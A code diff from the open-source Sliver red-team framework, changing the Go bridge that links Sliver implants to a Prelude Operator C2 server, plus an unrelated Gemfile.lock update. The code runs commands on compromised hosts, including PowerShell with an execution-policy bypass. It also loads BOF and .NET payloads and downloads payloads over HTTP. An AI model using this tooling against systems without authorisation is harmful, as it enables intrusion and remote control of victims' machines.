View File
@@ -1,23 +1,5 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
@@ -27,6 +9,7 @@ import (
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
@@ -42,9 +25,9 @@ type bofArgs struct {
Value interface{} `json:"value"`
}
func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs, onFinishCallback func(string, int, int)) (output string, err error) {
if !isLoaderLoaded(implant, rpc) {
err = registerLoader(implant, rpc)
func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs) (output string, err error) {
if !isLoaderLoaded(session, rpc) {
err = registerLoader(session, rpc)
if err != nil {
return
}
@@ -54,8 +37,6 @@ func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args [
}
for _, a := range args {
switch a.ArgType {
case "integer":
fallthrough
case "int":
if v, ok := a.Value.(float64); ok {
err = bofArgs.AddInt(uint32(v))
@@ -108,19 +89,13 @@ func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args [
ServerStore: false,
Args: extArgsBuffer,
Export: loaderEntryPoint,
Request: MakeRequest(implant),
Request: MakeRequest(session),
})
if err != nil {
return
}
// If Async req, onFinishCallback won't be nil
if onFinishCallback != nil {
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
return
}
if extResp.Response != nil && extResp.Response.Err != "" {
err = errors.New(extResp.Response.Err)
}
@@ -129,16 +104,16 @@ func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args [
return
}
func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error {
var coffLoaderPath string
switch implant.GetArch() {
switch session.Arch {
case "amd64":
coffLoaderPath = "COFFLoader.x64.dll"
case "386":
coffLoaderPath = "COFFLoader.x86.dll"
}
loaderPath := path.Join(assets.GetExtensionsDir(), coffLoaderName, coffLoaderPath)
loaderPath := path.Join(assets.GetExtensionsDir(), "windows", session.Arch, coffLoaderPath)
loaderData, err := ioutil.ReadFile(loaderPath)
if err != nil {
return err
@@ -146,9 +121,9 @@ func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
resp, err := rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: coffLoaderName,
Data: loaderData,
OS: implant.GetOS(),
OS: session.OS,
Init: "",
Request: MakeRequest(implant),
Request: MakeRequest(session),
})
if err != nil {
return err
@@ -159,9 +134,9 @@ func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
return nil
}
func isLoaderLoaded(implant ActiveImplant, rpc rpcpb.SliverRPCClient) bool {
func isLoaderLoaded(session *clientpb.Session, rpc rpcpb.SliverRPCClient) bool {
extList, err := rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: MakeRequest(implant),
Request: MakeRequest(session),
})
if err != nil {
return false
-206
View File
@@ -1,206 +0,0 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"context"
"encoding/hex"
"encoding/json"
"fmt"
"io/ioutil"
"net"
"net/http"
"strings"
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
)
const (
defaultTimeout = 60
delim = "\r\n"
)
// OperatorImplantBridge maps the Sliver implants (whether it be a beacon or a session)
// to a Prelude Operator implant with a TCP transport.
type OperatorImplantBridge struct {
Conn *net.Conn
Implant ActiveImplant
RPC rpcpb.SliverRPCClient
PBeacon OperatorBeacon
BeaconCallback func(string, func(*clientpb.BeaconTask))
Config AgentConfig
recv chan []byte
send chan []byte
}
func NewImplantBridge(c *net.Conn, a ActiveImplant, rpc rpcpb.SliverRPCClient, pbeacon OperatorBeacon, conf AgentConfig, callback func(string, func(*clientpb.BeaconTask))) *OperatorImplantBridge {
return &OperatorImplantBridge{
Conn: c,
Implant: a,
RPC: rpc,
Config: conf,
BeaconCallback: callback,
PBeacon: pbeacon,
recv: make(chan []byte),
send: make(chan []byte),
}
}
func (a *OperatorImplantBridge) register() {
data, err := json.Marshal(a.PBeacon)
if err != nil {
return
}
encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
(*a.Conn).Write(dataBuff)
}
func (a *OperatorImplantBridge) ReceiveLoop() {
a.register()
go func() {
for {
data := <-a.send
encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
(*a.Conn).Write(dataBuff)
time.Sleep(time.Duration(a.PBeacon.Sleep))
}
}()
for {
scanner := bufio.NewScanner(*a.Conn)
for scanner.Scan() {
msg := strings.TrimSpace(scanner.Text())
a.handleMessage(msg)
}
}
}
func (a *OperatorImplantBridge) handleMessage(message string) {
var tempBeacon OperatorBeacon
decoded, err := hex.DecodeString(message)
if err != nil {
return
}
if err := json.Unmarshal(util.Decrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
a.PBeacon.Links = a.PBeacon.Links[:0]
a.runLinks(&tempBeacon)
}
}
func (implantBridge *OperatorImplantBridge) runLinks(tempBeacon *OperatorBeacon) {
for _, link := range implantBridge.Config.StartInstructions(tempBeacon.Links) {
time.Sleep(time.Second * 1)
var payload []byte
if link.Payload != "" {
payload, _ = requestPayload(link.Payload)
}
// If we're running on a Beacon
if implantBridge.BeaconCallback != nil {
RunCommand(link.Request, link.Executor, payload, implantBridge, func(response string, status int, pid int) {
link.Response = response
link.Status = status
link.Pid = pid
implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
implantBridge.Config.EndInstruction(link)
implantBridge.refreshBeacon()
data, err := json.Marshal(implantBridge.PBeacon)
if err != nil {
return
}
implantBridge.send <- data
})
return
}
// Running on a Session
response, status, pid := RunCommand(link.Request, link.Executor, payload, implantBridge, nil)
link.Response = response
link.Status = status
link.Pid = pid
implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
implantBridge.Config.EndInstruction(link)
implantBridge.refreshBeacon()
data, err := json.Marshal(implantBridge.PBeacon)
if err != nil {
return
}
implantBridge.send <- data
}
}
func requestPayload(target string) ([]byte, error) {
resp, err := http.Get(target)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
}
return ioutil.ReadAll(resp.Body)
}
func (a *OperatorImplantBridge) refreshBeacon() {
var pwd string
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(a.Implant),
})
if pwdResp != nil {
pwd = pwdResp.Path
}
a.PBeacon.Sleep = a.Config.Sleep
a.PBeacon.Range = a.Config.Range
a.PBeacon.Pwd = pwd
a.PBeacon.Target = a.Config.Address
a.PBeacon.Executing = a.Config.BuildExecutingHash()
}
func MakeRequest(a ActiveImplant) *commonpb.Request {
timeout := int64(defaultTimeout)
req := &commonpb.Request{
Timeout: timeout,
}
if a == nil {
return nil
}
beacon, ok := a.(*clientpb.Beacon)
if ok {
req.BeaconID = beacon.ID
req.Async = true
return req
}
session, ok := a.(*clientpb.Session)
if ok {
req.SessionID = session.ID
req.Async = false
return req
}
return nil
}
+15 -54
View File
@@ -2,7 +2,7 @@ package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -24,13 +24,11 @@ import (
"fmt"
"strings"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
//RunCommand executes a given command
func RunCommand(message string, executor string, payload []byte, agentSession *OperatorImplantBridge, onFinish func(string, int, int)) (string, int, int) {
func RunCommand(message string, executor string, payload []byte, agentSession *AgentSession) (string, int, int) {
switch executor {
case "keyword":
task := splitMessage(message, '.')
@@ -48,76 +46,41 @@ func RunCommand(message string, executor string, payload []byte, agentSession *O
if payload == nil {
return "missing BOF file", ErrorExitStatus, ErrorExitStatus
}
out, err := runBOF(agentSession.Implant, agentSession.RPC, payload, bargs, onFinish)
out, err := runBOF(agentSession.Session, agentSession.RPC, payload, bargs)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return out, 0, 0
case "execute-assembly":
if len(task) < 2 {
break
}
var eaargs execasmArgs
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
err := json.Unmarshal([]byte(argStr), &eaargs)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
if payload == nil {
return "missing .NET assembly", ErrorExitStatus, ErrorExitStatus
}
out, err := execAsm(agentSession.Implant, agentSession.RPC, payload, eaargs, onFinish)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return out, 0, 0
return out, 0, int(agentSession.Session.GetID())
case "exit":
return shutdown(agentSession)
default:
return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
}
default:
bites, status, pid := execute(message, executor, agentSession, onFinish)
bites, status, pid := execute(message, executor, agentSession)
return string(bites), status, pid
}
return "", ErrorExitStatus, ErrorExitStatus
}
func execute(cmd string, executor string, implantBridge *OperatorImplantBridge, onFinishCallback func(string, int, int)) (string, int, int) {
func execute(cmd string, executor string, agentSession *AgentSession) (string, int, int) {
args := append(getCmdArg(executor), cmd)
if executor == "psh" {
executor = "powershell.exe"
} else if executor == "exec" {
commandSections := strings.Fields(cmd)
executor = commandSections[0]
args = commandSections[1:]
}
execResp, err := implantBridge.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
execResp, err := agentSession.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
Path: executor,
Args: args,
Output: true,
Request: MakeRequest(implantBridge.Implant),
Request: MakeRequest(agentSession.Session),
})
if err != nil {
return fmt.Sprintf("Error: %s\n", err.Error()), -1, -1
return fmt.Sprintf("Error: %s\n", err.Error()), 0, 0
}
// Beacon
if execResp.Response != nil && execResp.Response.Async {
implantBridge.BeaconCallback(execResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execResp)
if err != nil {
return
}
onFinishCallback(string(execResp.Stdout), int(execResp.Status), int(execResp.Pid))
})
return "", 0, 0
}
// Session
if execResp.Response != nil && execResp.Response.Err != "" {
return execResp.Response.Err, SuccessExitStatus, SuccessExitStatus
return execResp.Response.Err, 0, 0
}
return string(execResp.Stdout), int(execResp.Status), int(execResp.Pid)
}
@@ -126,11 +89,9 @@ func getCmdArg(executor string) []string {
var args []string
switch executor {
case "cmd":
args = []string{"/S", "/C"}
args = []string{"/C", "/S"}
case "powershell", "psh":
args = []string{"-execu", "-C"}
case "exec":
args = []string{}
args = []string{"-execu", "ByPasS", "-C"}
case "sh", "bash", "zsh":
args = []string{"-c"}
}
@@ -148,13 +109,13 @@ func splitMessage(message string, splitRune rune) []string {
return values
}
func shutdown(agentSession *OperatorImplantBridge) (string, int, int) {
func shutdown(agentSession *AgentSession) (string, int, int) {
_, err := agentSession.RPC.Kill(context.Background(), &sliverpb.KillReq{
Force: false,
Request: MakeRequest(agentSession.Implant),
Request: MakeRequest(agentSession.Session),
})
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return fmt.Sprintf("Terminated %s", agentSession.Implant.GetID()), SuccessExitStatus, int(agentSession.Implant.GetPID())
return fmt.Sprintf("Terminated %s", agentSession.Session.Name), SuccessExitStatus, SuccessExitStatus
}
+3 -3
View File
@@ -2,7 +2,7 @@ package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -32,7 +32,7 @@ const (
type Configuration interface {
ApplyConfig(ac map[string]interface{})
BuildBeacon() OperatorBeacon
BuildBeacon() Beacon
}
type AgentConfig struct {
@@ -52,7 +52,7 @@ type AgentConfig struct {
Executing map[string]Instruction
}
type OperatorBeacon struct {
type Beacon struct {
Name string
Target string
Hostname string
-68
View File
@@ -1,68 +0,0 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
type execasmArgs struct {
IsDLL bool `json:"isDLL"`
Process string `json:"process"`
Arguments string `json:"arguments"`
Architecture string `json:"architecture"`
Method string `json:"method"`
Class string `json:"class"`
AppDomain string `json:"appDomain"`
}
func execAsm(implant ActiveImplant, rpc rpcpb.SliverRPCClient, asm []byte, args execasmArgs, onFinishCallback func(string, int, int)) (output string, err error) {
extResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: MakeRequest(implant),
IsDLL: args.IsDLL,
Process: args.Process,
Arguments: args.Arguments,
Assembly: asm,
Arch: args.Architecture,
Method: args.Method,
ClassName: args.Class,
AppDomain: args.AppDomain,
})
if err != nil {
return
}
// If Async req, onFinishCallback won't be nil
if onFinishCallback != nil {
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
return
}
if extResp.Response != nil && extResp.Response.Err != "" {
err = errors.New(extResp.Response.Err)
}
output = string(extResp.Output)
return
}
+40 -56
View File
@@ -2,7 +2,7 @@ package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -21,6 +21,7 @@ package prelude
import (
"context"
"errors"
"fmt"
"net"
"sync"
@@ -30,7 +31,7 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var ImplantMapper *OperatorImplantMapper
var SessionMapper *PreludeSessionMapper
const defaultImplantSleep = 5
@@ -41,45 +42,30 @@ type OperatorConfig struct {
AESKey string
}
// OperatorImplantMapper maps an OperatorConfig with
// active Sliver implant sessions/beacons
type OperatorImplantMapper struct {
implantBridges []*OperatorImplantBridge
conf *OperatorConfig
type PreludeSessionMapper struct {
sessions []*AgentSession
conf *OperatorConfig
sync.Mutex
}
// ActiveImplant exposes common methods between
// Sliver clientpb.Session and clientpb.Beacon
// that are required by Operator implants
type ActiveImplant interface {
GetID() string
GetHostname() string
GetPID() int32
GetOS() string
GetArch() string
GetFilename() string
GetReconnectInterval() int64
}
func InitImplantMapper(conf *OperatorConfig) *OperatorImplantMapper {
if ImplantMapper == nil {
ImplantMapper = &OperatorImplantMapper{
implantBridges: make([]*OperatorImplantBridge, 0),
conf: conf,
func InitSessionMapper(conf *OperatorConfig) *PreludeSessionMapper {
if SessionMapper == nil {
SessionMapper = &PreludeSessionMapper{
sessions: make([]*AgentSession, 0),
conf: conf,
}
}
return ImplantMapper
return SessionMapper
}
func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string, func(*clientpb.BeaconTask))) error {
func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
var pwd string
conn, err := net.Dial("tcp", p.conf.OperatorURL)
if err != nil {
return err
}
pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(a),
Request: MakeRequest(s),
})
if err != nil {
return err
@@ -87,57 +73,55 @@ func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string
if pwdResp != nil {
pwd = pwdResp.Path
}
// Use a default sleep time for sessions,
// but respect the one we have for beacons
sleepTime := defaultImplantSleep
if b, ok := a.(*clientpb.Beacon); ok {
sleepTime = int(b.ReconnectInterval)
}
beacon := OperatorBeacon{
Name: a.GetID(),
// Operator implants have embedded static IDs, but we don't,
// so to avoid having multiple sessions showing as one on the Operator
// GUI, we need to have a unique name for them.
// Plus, having the ID in the name will help the user to make the
// correlation.
sessName := fmt.Sprintf("%s-%d", s.Name, s.ID)
beacon := Beacon{
Name: sessName,
Target: p.conf.OperatorURL,
Hostname: a.GetHostname(),
Location: a.GetFilename(),
Platform: a.GetOS(),
Hostname: s.Hostname,
Location: s.Filename,
Platform: s.OS,
Range: p.conf.Range,
Executors: util.DetermineExecutors(a.GetOS(), a.GetArch()),
Executors: util.DetermineExecutors(s.OS, s.Arch),
Links: make([]Instruction, 0),
Executing: "",
Pwd: pwd,
Sleep: int(sleepTime),
Sleep: defaultImplantSleep,
}
if p.conf.AESKey == "" {
return errors.New("missing AES key")
}
a.GetID()
encryptionKey := p.conf.AESKey
agentConfig := AgentConfig{
Name: a.GetID(),
Name: sessName,
AESKey: encryptionKey,
Range: p.conf.Range,
Contact: "tcp",
Address: p.conf.OperatorURL,
Pid: int(a.GetPID()),
Pid: int(s.PID),
Executing: make(map[string]Instruction),
Sleep: int(sleepTime),
Sleep: defaultImplantSleep,
}
bridge := NewImplantBridge(&conn, a, p.conf.RPC, beacon, agentConfig, callback)
util.EncryptionKey = &agentConfig.AESKey
agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
p.Lock()
p.implantBridges = append(p.implantBridges, bridge)
p.sessions = append(p.sessions, agentSession)
p.Unlock()
go bridge.ReceiveLoop()
go agentSession.ReceiveLoop()
return nil
}
func (p *OperatorImplantMapper) RemoveImplant(imp ActiveImplant) (err error) {
func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
p.Lock()
for _, bridge := range p.implantBridges {
if bridge.Implant.GetID() == imp.GetID() {
if bridge.Conn != nil {
err = (*bridge.Conn).Close()
for _, agentSession := range p.sessions {
if agentSession.Session.ID == s.ID {
if agentSession.Conn != nil {
err = (*agentSession.Conn).Close()
} else {
err = errors.New("connection is nil")
}
@@ -147,6 +131,6 @@ func (p *OperatorImplantMapper) RemoveImplant(imp ActiveImplant) (err error) {
return err
}
func (p *OperatorImplantMapper) GetConfig() *OperatorConfig {
func (p *PreludeSessionMapper) GetConfig() *OperatorConfig {
return p.conf
}
@@ -22,43 +22,44 @@ import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/hex"
"errors"
"fmt"
"io"
)
var EncryptionKey *string
//Encrypt the results
func Encrypt(data []byte, key []byte, iv []byte) []byte {
plainText, err := pad(data, aes.BlockSize)
func Encrypt(bites []byte) []byte {
plainText, err := pad(bites, aes.BlockSize)
if err != nil {
return make([]byte, 0)
}
block, _ := aes.NewCipher(key)
block, _ := aes.NewCipher([]byte(*EncryptionKey))
cipherText := make([]byte, aes.BlockSize+len(plainText))
// Create a random IV if none was provided
// len(nil) returns 0
if len(iv) == 0 {
iv = cipherText[:aes.BlockSize]
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
return make([]byte, 0)
}
iv := cipherText[:aes.BlockSize]
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
return make([]byte, 0)
}
mode := cipher.NewCBCEncrypter(block, iv)
mode.CryptBlocks(cipherText[aes.BlockSize:], plainText)
return cipherText
return []byte(fmt.Sprintf("%x", cipherText))
}
//Decrypt a command
func Decrypt(data []byte, key []byte) []byte {
block, err := aes.NewCipher(key)
func Decrypt(text string) string {
cipherText, _ := hex.DecodeString(text)
block, err := aes.NewCipher([]byte(*EncryptionKey))
if err != nil {
return nil
return ""
}
iv := data[:aes.BlockSize]
data = data[aes.BlockSize:]
iv := cipherText[:aes.BlockSize]
cipherText = cipherText[aes.BlockSize:]
mode := cipher.NewCBCDecrypter(block, iv)
mode.CryptBlocks(data, data)
data, _ = unpad(data, aes.BlockSize)
return data
mode.CryptBlocks(cipherText, cipherText)
cipherText, _ = unpad(cipherText, aes.BlockSize)
return string(cipherText)
}
func pad(buf []byte, size int) ([]byte, error) {
+8 -6
View File
@@ -21,23 +21,25 @@ package util
func DetermineExecutors(platform string, arch string) []string {
platformExecutors := map[string]map[string][]string{
"windows": {
"file": {"pwsh.exe", "powershell.exe", "cmd.exe", "", ""},
"executor": {"pwsh", "psh", "cmd", "bof", "exec"},
"file": {"pwsh.exe", "powershell.exe", "cmd.exe"},
"executor": {"pwsh", "psh", "cmd", "bof"},
},
"linux": {
"file": {"python3", "sh", "bash"},
"executor": {"python", "sh", "bash"},
"file": {"python3", "pwsh", "sh", "bash"},
"executor": {"python", "pwsh", "sh", "bash"},
},
"darwin": {
"file": {"python3", "zsh", "sh", "osascript", "bash"},
"executor": {"python", "zsh", "sh", "osa", "bash"},
"file": {"python3", "pwsh", "zsh", "sh", "osascript", "bash"},
"executor": {"python", "pwsh", "zsh", "sh", "osa", "bash"},
},
}
var executors []string
for platformKey, platformValue := range platformExecutors {
if platform == platformKey {
for i := range platformValue["file"] {
// if checkIfExecutorAvailable(platformValue["file"][i]) {
executors = append(executors, platformExecutors[platformKey]["executor"][i])
// }
}
}
}
+83 -89
View File
@@ -1,7 +1,7 @@
GEM
remote: https://rubygems.org/
specs:
activesupport (6.0.4.6)
activesupport (6.0.4)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 0.7, < 2)
minitest (~> 5.1)
@@ -14,54 +14,48 @@ GEM
execjs
coffee-script-source (1.11.1)
colorator (1.1.0)
commonmarker (0.23.4)
commonmarker (0.17.13)
ruby-enum (~> 0.5)
concurrent-ruby (1.1.9)
dnsruby (1.61.9)
dnsruby (1.61.7)
simpleidn (~> 0.1)
em-websocket (0.5.3)
em-websocket (0.5.2)
eventmachine (>= 0.12.9)
http_parser.rb (~> 0)
ethon (0.15.0)
http_parser.rb (~> 0.6.0)
ethon (0.14.0)
ffi (>= 1.15.0)
eventmachine (1.2.7)
execjs (2.8.1)
faraday (1.10.0)
faraday (1.5.0)
faraday-em_http (~> 1.0)
faraday-em_synchrony (~> 1.0)
faraday-excon (~> 1.1)
faraday-httpclient (~> 1.0)
faraday-multipart (~> 1.0)
faraday-httpclient (~> 1.0.1)
faraday-net_http (~> 1.0)
faraday-net_http_persistent (~> 1.0)
faraday-net_http_persistent (~> 1.1)
faraday-patron (~> 1.0)
faraday-rack (~> 1.0)
faraday-retry (~> 1.0)
multipart-post (>= 1.2, < 3)
ruby2_keywords (>= 0.0.4)
faraday-em_http (1.0.0)
faraday-em_synchrony (1.0.0)
faraday-excon (1.1.0)
faraday-httpclient (1.0.1)
faraday-multipart (1.0.3)
multipart-post (>= 1.2, < 3)
faraday-net_http (1.0.1)
faraday-net_http_persistent (1.2.0)
faraday-net_http_persistent (1.1.0)
faraday-patron (1.0.0)
faraday-rack (1.0.0)
faraday-retry (1.0.3)
ffi (1.15.5)
ffi (1.15.3)
forwardable-extended (2.6.0)
gemoji (3.0.1)
github-pages (225)
github-pages-health-check (= 1.17.9)
github-pages (215)
github-pages-health-check (= 1.17.2)
jekyll (= 3.9.0)
jekyll-avatar (= 0.7.0)
jekyll-coffeescript (= 1.1.1)
jekyll-commonmark-ghpages (= 0.2.0)
jekyll-commonmark-ghpages (= 0.1.6)
jekyll-default-layout (= 0.1.4)
jekyll-feed (= 0.15.1)
jekyll-gist (= 1.5.0)
jekyll-github-metadata (= 2.13.0)
jekyll-include-cache (= 0.2.1)
jekyll-mentions (= 1.6.0)
jekyll-optional-front-matter (= 0.3.2)
jekyll-paginate (= 1.1.0)
@@ -70,22 +64,22 @@ GEM
jekyll-relative-links (= 0.6.1)
jekyll-remote-theme (= 0.4.3)
jekyll-sass-converter (= 1.5.2)
jekyll-seo-tag (= 2.8.0)
jekyll-seo-tag (= 2.7.1)
jekyll-sitemap (= 1.4.0)
jekyll-swiss (= 1.0.0)
jekyll-theme-architect (= 0.2.0)
jekyll-theme-cayman (= 0.2.0)
jekyll-theme-dinky (= 0.2.0)
jekyll-theme-hacker (= 0.2.0)
jekyll-theme-leap-day (= 0.2.0)
jekyll-theme-merlot (= 0.2.0)
jekyll-theme-midnight (= 0.2.0)
jekyll-theme-minimal (= 0.2.0)
jekyll-theme-modernist (= 0.2.0)
jekyll-theme-primer (= 0.6.0)
jekyll-theme-slate (= 0.2.0)
jekyll-theme-tactile (= 0.2.0)
jekyll-theme-time-machine (= 0.2.0)
jekyll-theme-architect (= 0.1.1)
jekyll-theme-cayman (= 0.1.1)
jekyll-theme-dinky (= 0.1.1)
jekyll-theme-hacker (= 0.1.2)
jekyll-theme-leap-day (= 0.1.1)
jekyll-theme-merlot (= 0.1.1)
jekyll-theme-midnight (= 0.1.1)
jekyll-theme-minimal (= 0.1.1)
jekyll-theme-modernist (= 0.1.1)
jekyll-theme-primer (= 0.5.4)
jekyll-theme-slate (= 0.1.1)
jekyll-theme-tactile (= 0.1.1)
jekyll-theme-time-machine (= 0.1.1)
jekyll-titles-from-headings (= 0.5.3)
jemoji (= 0.12.0)
kramdown (= 2.3.1)
@@ -93,19 +87,19 @@ GEM
liquid (= 4.0.3)
mercenary (~> 0.3)
minima (= 2.5.1)
nokogiri (>= 1.12.5, < 2.0)
nokogiri (>= 1.10.4, < 2.0)
rouge (= 3.26.0)
terminal-table (~> 1.4)
github-pages-health-check (1.17.9)
github-pages-health-check (1.17.2)
addressable (~> 2.3)
dnsruby (~> 1.60)
octokit (~> 4.0)
public_suffix (>= 3.0, < 5.0)
public_suffix (>= 2.0.2, < 5.0)
typhoeus (~> 1.3)
html-pipeline (2.14.0)
activesupport (>= 2)
nokogiri (>= 1.4)
http_parser.rb (0.8.0)
http_parser.rb (0.6.0)
i18n (0.9.5)
concurrent-ruby (~> 1.0)
jekyll (3.9.0)
@@ -126,12 +120,12 @@ GEM
jekyll-coffeescript (1.1.1)
coffee-script (~> 2.2)
coffee-script-source (~> 1.11.1)
jekyll-commonmark (1.4.0)
commonmarker (~> 0.22)
jekyll-commonmark-ghpages (0.2.0)
commonmarker (~> 0.23.4)
jekyll (~> 3.9.0)
jekyll-commonmark (~> 1.4.0)
jekyll-commonmark (1.3.1)
commonmarker (~> 0.14)
jekyll (>= 3.7, < 5.0)
jekyll-commonmark-ghpages (0.1.6)
commonmarker (~> 0.17.6)
jekyll-commonmark (~> 1.2)
rouge (>= 2.0, < 4.0)
jekyll-default-layout (0.1.4)
jekyll (~> 3.0)
@@ -142,8 +136,6 @@ GEM
jekyll-github-metadata (2.13.0)
jekyll (>= 3.4, < 5.0)
octokit (~> 4.0, != 4.4.0)
jekyll-include-cache (0.2.1)
jekyll (>= 3.7, < 5.0)
jekyll-mentions (1.6.0)
html-pipeline (~> 2.3)
jekyll (>= 3.7, < 5.0)
@@ -163,50 +155,50 @@ GEM
rubyzip (>= 1.3.0, < 3.0)
jekyll-sass-converter (1.5.2)
sass (~> 3.4)
jekyll-seo-tag (2.8.0)
jekyll-seo-tag (2.7.1)
jekyll (>= 3.8, < 5.0)
jekyll-sitemap (1.4.0)
jekyll (>= 3.7, < 5.0)
jekyll-swiss (1.0.0)
jekyll-theme-architect (0.2.0)
jekyll-theme-architect (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-cayman (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-dinky (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-hacker (0.1.2)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-cayman (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-theme-leap-day (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-dinky (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-theme-merlot (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-hacker (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-theme-midnight (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-leap-day (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-theme-minimal (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-merlot (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-theme-modernist (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-midnight (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
